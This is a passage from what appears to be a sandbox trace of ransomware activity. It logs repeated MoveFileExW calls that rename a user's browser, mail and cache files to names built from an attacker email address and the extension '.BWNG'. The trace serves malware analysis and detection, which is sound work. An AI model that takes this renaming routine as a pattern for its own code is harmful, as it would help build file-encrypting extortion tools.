lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].h9GRvkPl-qaQ5KlTp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].h9grvkpl-qaq5kltp.bwng"), dwFlags=0x1) returned 1 [0125.507] GetTickCount () returned 0x1166f18 [0125.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26745952887) returned 1 [0125.508] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].SPty0UFn-XWo3UvTv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].spty0ufn-xwo3uvtv.bwng"), dwFlags=0x1) returned 1 [0125.509] GetTickCount () returned 0x1166f18 [0125.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746104599) returned 1 [0125.509] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].eAo8pm77-ccSIe1hO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].eao8pm77-ccsie1ho.bwng"), dwFlags=0x1) returned 1 [0125.510] GetTickCount () returned 0x1166f18 [0125.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746233828) returned 1 [0125.510] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].Lh3TUdf8-6ShkoIof.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].lh3tudf8-6shkoiof.bwng"), dwFlags=0x1) returned 1 [0125.511] GetTickCount () returned 0x1166f18 [0125.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746366773) returned 1 [0125.512] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\[billwong73@yahoo.com].rgVQDOe9-9OxZ0fZP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\[billwong73@yahoo.com].rgvqdoe9-9oxz0fzp.bwng"), dwFlags=0x1) returned 1 [0125.513] GetTickCount () returned 0x1166f18 [0125.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746507691) returned 1 [0125.513] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\[billwong73@yahoo.com].GOsWykcc-Oq8IT6Oq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\[billwong73@yahoo.com].goswykcc-oq8it6oq.bwng"), dwFlags=0x1) returned 1 [0125.514] GetTickCount () returned 0x1166f18 [0125.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746656152) returned 1 [0125.515] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\[billwong73@yahoo.com].q9mvQR47-1fvYJS8x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\[billwong73@yahoo.com].q9mvqr47-1fvyjs8x.bwng"), dwFlags=0x1) returned 1 [0125.516] GetTickCount () returned 0x1166f18 [0125.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746815028) returned 1 [0125.516] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\[billwong73@yahoo.com].c2pC9XA3-HfXQLyU9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\[billwong73@yahoo.com].c2pc9xa3-hfxqlyu9.bwng"), dwFlags=0x1) returned 1 [0125.517] GetTickCount () returned 0x1166f18 [0125.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26746967964) returned 1 [0125.518] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].4zaNSgeF-YIr317jC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].4zansgef-yir317jc.bwng"), dwFlags=0x1) returned 1 [0125.519] GetTickCount () returned 0x1166f28 [0125.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747146670) returned 1 [0125.519] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].qYwZy4T8-uvlJhGKf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].qywzy4t8-uvljhgkf.bwng"), dwFlags=0x1) returned 1 [0125.521] GetTickCount () returned 0x1166f28 [0125.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747278922) returned 1 [0125.521] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\[billwong73@yahoo.com].NLkhKnHR-7U2pT5Kd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\[billwong73@yahoo.com].nlkhknhr-7u2pt5kd.bwng"), dwFlags=0x1) returned 1 [0125.522] GetTickCount () returned 0x1166f28 [0125.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747456775) returned 1 [0125.523] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\[billwong73@yahoo.com].Y8jRYIrZ-FYmHkU2K.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\[billwong73@yahoo.com].y8jryirz-fymhku2k.bwng"), dwFlags=0x1) returned 1 [0125.524] GetTickCount () returned 0x1166f28 [0125.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747636296) returned 1 [0125.524] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].LhlkcGma-8OZjzRvT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].lhlkcgma-8ozjzrvt.bwng"), dwFlags=0x1) returned 1 [0125.526] GetTickCount () returned 0x1166f28 [0125.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747777003) returned 1 [0125.526] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].Qyw8U6eS-r8R7zsaO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].qyw8u6es-r8r7zsao.bwng"), dwFlags=0x1) returned 1 [0125.527] GetTickCount () returned 0x1166f28 [0125.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26747904452) returned 1 [0125.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].EhLY34GM-NixV2Xur.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].ehly34gm-nixv2xur.bwng"), dwFlags=0x1) returned 1 [0125.528] GetTickCount () returned 0x1166f28 [0125.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26748056883) returned 1 [0125.529] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].gGhxQrvc-yaq8f97b.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].gghxqrvc-yaq8f97b.bwng"), dwFlags=0x1) returned 1 [0125.530] GetTickCount () returned 0x1166f28 [0125.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26748190680) returned 1 [0125.530] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].6gvKm1ky-IDbShK8p.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].6gvkm1ky-idbshk8p.bwng"), dwFlags=0x1) returned 1 [0125.531] GetTickCount () returned 0x1166f28 [0125.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26748315396) returned 1 [0125.531] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\[billwong73@yahoo.com].M3Uriffc-GYOstXem.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\[billwong73@yahoo.com].m3uriffc-gyostxem.bwng"), dwFlags=0x1) returned 1 [0125.532] GetTickCount () returned 0x1166f28 [0125.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26748464242) returned 1 [0125.533] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\[billwong73@yahoo.com].Pk9m69j8-CIAY3XdF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\[billwong73@yahoo.com].pk9m69j8-ciay3xdf.bwng"), dwFlags=0x1) returned 1 [0125.960] GetTickCount () returned 0x11670dd [0125.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26791250916) returned 1 [0125.961] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].xOhdEfWG-LdYkFJfj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].xohdefwg-ldykfjfj.bwng"), dwFlags=0x1) returned 1 [0125.964] GetTickCount () returned 0x11670dd [0125.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26791628601) returned 1 [0125.964] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.status"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\[billwong73@yahoo.com].H7lQ7aR6-0CAx7sow.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\[billwong73@yahoo.com].h7lq7ar6-0cax7sow.bwng"), dwFlags=0x1) returned 1 [0125.967] GetTickCount () returned 0x11670dd [0125.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26791906171) returned 1 [0125.967] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].2Hezm42j-MBWvQb6v.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].2hezm42j-mbwvqb6v.bwng"), dwFlags=0x1) returned 1 [0125.969] GetTickCount () returned 0x11670dd [0125.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792125154) returned 1 [0125.969] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].eRbI0fWo-VyLP0ugT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].erbi0fwo-vylp0ugt.bwng"), dwFlags=0x1) returned 1 [0125.971] GetTickCount () returned 0x11670ec [0125.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792278243) returned 1 [0125.971] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].Syaqm6gz-Jp3FE9TB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].syaqm6gz-jp3fe9tb.bwng"), dwFlags=0x1) returned 1 [0125.972] GetTickCount () returned 0x11670ec [0125.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792412165) returned 1 [0125.972] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].admHMI1H-AirwVnpy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].admhmi1h-airwvnpy.bwng"), dwFlags=0x1) returned 1 [0125.973] GetTickCount () returned 0x11670ec [0125.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792542845) returned 1 [0125.973] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].N3VI4XhL-hiPuo6Rb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].n3vi4xhl-hipuo6rb.bwng"), dwFlags=0x1) returned 1 [0125.974] GetTickCount () returned 0x11670ec [0125.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792674774) returned 1 [0125.975] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\1daf2884ec4dfa96ba4a58d4dbc9c406"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].aIXw9HA8-UosE2BCx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].aixw9ha8-uose2bcx.bwng"), dwFlags=0x1) returned 1 [0125.976] GetTickCount () returned 0x11670ec [0125.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26792827000) returned 1 [0125.976] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\696f3de637e6de85b458996d49d759ad"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].ziRjePPx-JEi5VfKZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zirjeppx-jei5vfkz.bwng"), dwFlags=0x1) returned 1 [0126.206] GetTickCount () returned 0x11671d6 [0126.206] QueryPerformanceCounter (in: 